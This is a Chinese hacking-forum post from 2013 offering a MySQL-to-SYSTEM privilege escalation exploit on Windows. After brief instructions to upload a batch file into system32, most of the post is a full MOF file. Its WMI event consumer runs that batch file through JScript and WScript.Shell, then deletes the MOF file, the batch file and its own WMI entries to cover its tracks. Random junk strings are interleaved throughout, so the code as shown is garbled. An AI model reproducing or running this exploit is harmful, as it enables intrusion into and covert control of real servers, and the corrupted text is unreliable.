找回密码
 立即注册
查看: 2783|回复: 0
打印 上一主题 下一主题

Mysql 提权即时无错Mof exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:05:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个sql提权MOF需要运行 system下的文件,不能定义路径。
/ R9 ]# `$ A- {: Y, F需要将要运行的命令写入到bat上传到system32目录,然后执行。
$ p  k3 R6 b+ `, t# x$ e, z0 Q2 p/ L; F; b: i9 R: ^$ p  ^3 b
这个sql提权MOF需要运行 system下的文件,不能定义路径。' s1 S' R8 T6 J+ e# B; u* Z
需要将要运行的命令写入到bat上传到system32目录,然后执行。
6 @6 y7 i, T" U" l# s) G0 _; s" Z& t9 D2 h8 h9 i
#pragma
& w' ^1 }! |; H, K, }                        namespace("\\\\.\\root\\cimv2")2 X$ z! J2 _' |# k
                        class
# T  b$ {' I, o+ Q% s- U: G4 i2 x                        MyClass547
0 q+ B# j$ k4 ^4 p+ ^7 Z                        {           [key]
' X* G' A* Z, \# }9 K                        string
4 h; S; j, W0 {                        Name;+ u8 [% C! b# f# d+ ^  G& e
                        };8 D3 g: l' l, `8 r
                        class; [1 w6 j+ Y' x# M- {" z
                        ActiveScriptEventConsumer  r( |) {  k/ x
                        : __EventConsumer {          [key]: Z7 ?' F" M4 N( ^5 Q
                        string
# F) d, \5 A) x                        Name;           [not_null]
6 K6 Q: {+ G) }3 j( q- o                        string/ z- c; s% A5 |, z4 h  [$ H) e4 K$ `$ G
                        ScriptingEngine;           string$ f( l- \) j2 C2 f9 }1 U
                        ScriptFileName;           [template]
( f/ i4 R3 ?* a4 r. c0 G                        string* H! F/ m7 a' E. K1 U/ f$ A+ K
                        ScriptText;         uint32 KillTimeout;
  b7 u6 q5 e, R                        }; instance of __Win32Provider as $P {
( \4 p  r+ X4 @. n                        Name+ A: V0 [9 M# b  b  E- \
                        =- Y2 E3 c7 K$ C1 T! V: I! C/ r
                        "ActiveScriptEventConsumer";     CLSID =
4 X1 x, {+ u6 [: E                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
9 i3 \7 x% ]! c; W                        PerUserInitialization& q+ G) @, H# v6 Y" d/ \4 y+ m
                        = TRUE;
* W- E$ U: e; e: M) ^, h                        }; instance of __EventConsumerProviderRegistration {         Provider
" `1 Y: @6 f1 j2 m0 f, E                        = $P;         ConsumerClassNames) O- n; ]% M, ~# B( f3 x7 Q- g
                        =' H6 m- _: P' b
                        {"ActiveScriptEventConsumer"};) n6 _/ L0 Y: _# [' b  L9 `
                        };
, {( F7 Y  _& ?4 I4 z                        Instance of ActiveScriptEventConsumer
7 D  Q$ ^6 a4 Y( `$ X! b                        as $cons {         Name
  H' I5 {# g- W! x; o' Y                        =- p8 `- w# r; w
                        "ASEC";         ScriptingEngine
7 k0 z" q$ G4 Z4 G7 S2 Q* Q                        =3 O) P7 S6 H3 R; |# S0 I* h7 H( Q
                        "JScript";         ScriptText' W7 g7 r: {, P3 v
                        =
  A1 Z6 k3 L5 v                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };" k7 ]) {# S7 x( V
                        Instance of ActiveScriptEventConsumer
7 b! x9 I; ^4 g( |( p: H0 M                        as $cons2 {         Name* l9 o2 y# f- g( o; K/ J' b
                        =; `9 I# a( ~; v/ B! Y
                        "qndASEC";         ScriptingEngine) U/ Q, N, Z- M
                        =  Y5 D0 r; h2 s; G& o
                        "JScript";         ScriptText
3 n5 ?5 a' ^# j: r7 e                        =5 _. L8 ^5 G3 N  j. a
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
# _7 Q1 j# v. Z8 L! e5 n                        }; instance of __EventFilter as $Filt {         Name2 ~% w1 @( C- p9 F) l
                        =
, t3 i/ s1 M. H! S% E                        "instfilt";         Query
, i" s; o2 Y0 W0 W  }8 {8 T# O3 d                        =
0 p. e6 A- Q2 X- m' K1 C2 l% R                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage+ h9 Z% O) D4 ~( {3 y3 }5 m
                        =0 U2 U  e9 ^4 ?7 t8 b  n1 @1 R
                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
1 A) A3 W$ v. u8 D$ B* L% i                        =
, k/ B* W0 Z# S4 \! M                        "qndfilt";         Query$ k4 [: M6 j$ I0 Z
                        =% h* G" r% x3 L% }9 w
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
: m0 m& D, {, j! L% y                        =
. u$ V7 `7 M& y) L( a                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
, i0 D( \; X. \( k- l                        = $cons;         Filter
2 @% u; M1 t" @$ w0 L  n2 A                        = $Filt;
( V% G6 v6 d+ o" ^: R; h  y9 }                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer% l) P6 z( l# ~% C5 R
                        = $cons2;         Filter
+ v7 W, o+ o+ O! h5 @" N4 O4 H                        = $Filt2;- i& D  ?; y% U- p; n
                        }; instance of MyClass547
/ q( X, R1 X' X2 R8 _                        as $MyClass {         Name3 {% ^; ^( i! i0 n1 [$ t
                        =
$ {/ ~$ S8 i  Y5 b+ Z7 E                        "ClassConsumer";
0 m: r4 L5 |! ]' x4 v% R                        };
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表